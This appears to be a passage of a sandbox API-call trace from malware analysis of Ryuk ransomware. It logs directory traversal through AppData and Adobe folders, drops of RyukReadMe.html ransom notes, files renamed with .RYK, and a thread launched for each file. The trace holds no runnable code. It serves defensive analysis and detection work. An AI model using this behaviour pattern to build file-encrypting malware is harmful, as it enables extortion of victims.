	[0246.229] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.229] GetLastError () returned 0xb7
	[0246.229] CloseHandle (hObject=0x3d0) returned 1
	[0246.229] FindNextFileW (in: hFindFile=0x3ef730, lpFindFileData=0x18ffa0 | out: lpFindFileData=0x18ffa0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0246.229] SetLastError (dwErrCode=0x0) 
	[0246.229] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0246.229] GetLastError () returned 0xb7
	[0246.229] CloseHandle (hObject=0x3d0) returned 1
	[0246.230] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef790
	[0246.230] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.230] FindNextFileW (in: hFindFile=0x3ef790, lpFindFileData=0x18f870 | out: lpFindFileData=0x18f870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x120, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0246.230] SetLastError (dwErrCode=0x0) 
	[0246.230] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c
	[0246.230] GetLastError () returned 0xb7
	[0246.230] CloseHandle (hObject=0x41c) returned 1
	[0246.230] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef7f0
	[0246.231] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.231] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0246.231] SetLastError (dwErrCode=0x0) 
	[0246.231] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.231] GetLastError () returned 0xb7
	[0246.231] CloseHandle (hObject=0x448) returned 1
	[0246.231] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.232] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.232] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0246.232] SetLastError (dwErrCode=0x0) 
	[0246.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0246.232] GetLastError () returned 0xb7
	[0246.232] CloseHandle (hObject=0x454) returned 1
	[0246.232] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
	[0246.233] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.233] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x15e, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0246.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0246.236] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.236] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x15e, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0246.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0246.343] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.344] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15e, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0246.344] SetLastError (dwErrCode=0x0) 
	[0246.344] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.345] GetLastError () returned 0xb7
	[0246.345] CloseHandle (hObject=0x4a0) returned 1
	[0246.345] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x168, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0246.345] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x168, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.345] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x168, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0246.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0246.348] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.348] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x168, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.348] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x168, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.349] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0246.349] SetLastError (dwErrCode=0x0) 
	[0246.349] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.349] GetLastError () returned 0xb7
	[0246.349] CloseHandle (hObject=0x4a0) returned 1
	[0246.349] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x15e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.350] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x15e, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0246.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0246.352] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.352] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x15e, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0246.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0246.355] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.355] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x15e, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0246.356] FindClose (in: hFindFile=0x3ef8b0 | out: hFindFile=0x3ef8b0) returned 1
	[0246.356] SetLastError (dwErrCode=0x0) 
	[0246.356] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0246.356] GetLastError () returned 0xb7
	[0246.356] CloseHandle (hObject=0x454) returned 1
	[0246.356] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.356] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.357] FindClose (in: hFindFile=0x3ef850 | out: hFindFile=0x3ef850) returned 1
	[0246.357] SetLastError (dwErrCode=0x0) 
	[0246.357] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.357] GetLastError () returned 0xb7
	[0246.357] CloseHandle (hObject=0x448) returned 1
	[0246.357] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0246.357] SetLastError (dwErrCode=0x0) 
	[0246.357] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.358] GetLastError () returned 0xb7
	[0246.358] CloseHandle (hObject=0x448) returned 1
	[0246.358] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.358] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
